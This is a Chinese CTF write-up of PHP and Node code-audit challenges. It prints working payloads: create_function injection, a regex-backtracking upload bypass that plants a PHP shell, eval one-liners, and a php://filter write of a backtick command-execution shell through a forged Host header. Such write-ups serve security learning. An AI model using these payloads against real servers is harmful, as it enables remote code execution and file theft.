• 小密圈[代码审计]
    自从p神一开放就关注着, 但是前几天一直有事,直到现在才抽出时间来做,可惜之前看文章的时候已经看过师傅们的题解了。

easy - function

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

首先需要绕过正则来代入危险函数,通过在函数名前面加入符号注入%5c对函数的执行没有影响,为什么呢。

%5c -> \

\在php中表示默认的命名空间,比如写一些类的时候会在开头写

1
2
namespace think\db;
use think\Exception;

本来如果前面不加\的话就是表示一个相对路径,如果加上就相当于写了绝对路径。

通过翻阅手册可以知道

1
http://php.net/manual/zh/function.create-function.php

create_function内部调用的是eval函数,我们知道eval函数内部是执行一段php代码,可以通过闭合来注入攻击,那么我们是否可以利用这个呢。

看文章

1
http://blog.51cto.com/lovexm/1743442

那么构造payload

1
http://51.158.75.42:8087/?action=%5ccreate_function&arg=;}phpinfo();//

可以执行代码

1
http://51.158.75.42:8087/?action=%5ccreate_function&arg=;}print_r(file_get_contents("/var/www/flag_h0w2execute_arb1trary_c0de"));//

easy - pcrewaf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
} 1

这里需要涉及到正则匹配的流程,正则匹配有两种引擎

  • DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入
  • NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态

php的PCRE库使用的就是NFA的正则引擎,就会涉及到回溯的一个过程

PHP为了防止正则表达式的拒绝服务攻击(回溯次数过多),限制了回溯的次数

可以看到php7的是100万次,php5的是10万次

当回溯的次数超过这个限制的时候,会返回一个false (匹配成功返回1,匹配失败返回的是0

那么就会绕过is_php的限制

1
2
3
4
5
6
7
8
#!/usr/bin/env python
#-*- coding: utf-8 -*-
import requests
files = {'file':("shell.php", "<?php print_r(file_get_contents(\"../../../flag_php7_2_1s_c0rrect\"));/*"+"c"*1000001)}
res = requests.post(url="http://51.158.75.42:8088/",files=files).content
print res

easy - phplimit

1
2
3
4
5
6
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}

这道题目很像某次XCTF的一道题目,记得当时是利用getallheaders函数来代码执行的,如果是apache的话还可以使用apche_request_headers函数,但是这两个在这里并不适用,可以记录一下师傅们方式

get_defined_vars
1
http://51.158.75.42:8084/?code=eval(next(current(get_defined_vars())));&1=phpinfo();
session_id
1
2
3
http://51.158.75.42:8084/?code=eval(hex2bin(session_id(session_start())));
PHPSESSID=7072696e745f722866696c655f6765745f636f6e74656e747328222e2e2f666c61675f7068706279703473732229293b
其他
1
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

easy - phpmagic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], txrue)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?></pre>

这道题目首先看下

1
$log_name = $_SERVER['SERVER_NAME'] . $log_name;

首先可以知道log_name是我们可以通过post log参数可控的,但是$_SERVER['SERVER_NAME']是否可控的

题目环境中可以通过Host伪造,那么$log_name就是我们可控的了,

但是因为有htmlspecialchars进行编码,导致我们无法解析php文件

那么我们是否可以借助php伪协议来写入文件呢,答案是肯定的,但是在写入文件的时候会有一些脏字符,这个对我们是有影响的,但是可以绕过他的影响。

可以看https://www.leavesongs.com/PENETRATION/php-filter-magic.html

思路是差不多的,只要前面的字符符合规范可以正常解码,那么就不会影响我们的解码。

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
POST / HTTP/1.1
Host: php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 180
Connection: close
Upgrade-Insecure-Requests: 1
Origin: http://51.158.75.42:8082
domain=PD89YGNhdCAnLi4vLi4vLi4vZmxhZ19waHBtYWcxY191cjEnYDsvKioq&log=://filter/write=convert.base64-decode/resource=/var/www/html/data/6daa7c5412ee084db21683d086daec0f/p0desta.php/.

easy - nodechr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// initial libraries
const Koa = require('koa')
const sqlite = require('sqlite')
const fs = require('fs')
const views = require('koa-views')
const Router = require('koa-router')
const send = require('koa-send')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const isString = require('underscore').isString
const basename = require('path').basename
const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))
async function main() {
const app = new Koa()
const router = new Router()
const db = await sqlite.open(':memory:')
await db.exec(`CREATE TABLE "main"."users" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"username" TEXT NOT NULL,
"password" TEXT,
CONSTRAINT "unique_username" UNIQUE ("username")
)`)
await db.exec(`CREATE TABLE "main"."flags" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"flag" TEXT NOT NULL
)`)
for (let user of config.users) {
await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
}
await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)
router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)
app.use(views(__dirname + '/views', {
map: {
html: 'underscore'
},
extension: 'html'
})).use(bodyParser()).use(session(app))
app.use(router.routes()).use(router.allowedMethods());
app.keys = config.signed
app.context.db = db
app.context.router = router
app.listen(3000)
}
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
async function static(ctx, next) {
await send(ctx, ctx.path)
}
async function admin(ctx, next) {
if(!ctx.session.user) {
ctx.status = 303
return ctx.redirect(ctx.router.url('login'))
}
await ctx.render('admin', {
'user': ctx.session.user
})
}
async function source(ctx, next) {
await send(ctx, basename(__filename))
}
main()

其实这个题的思路之前出现过,在HCTF,

1
https://paper.tuisec.win/detail/a9ad1440249d95b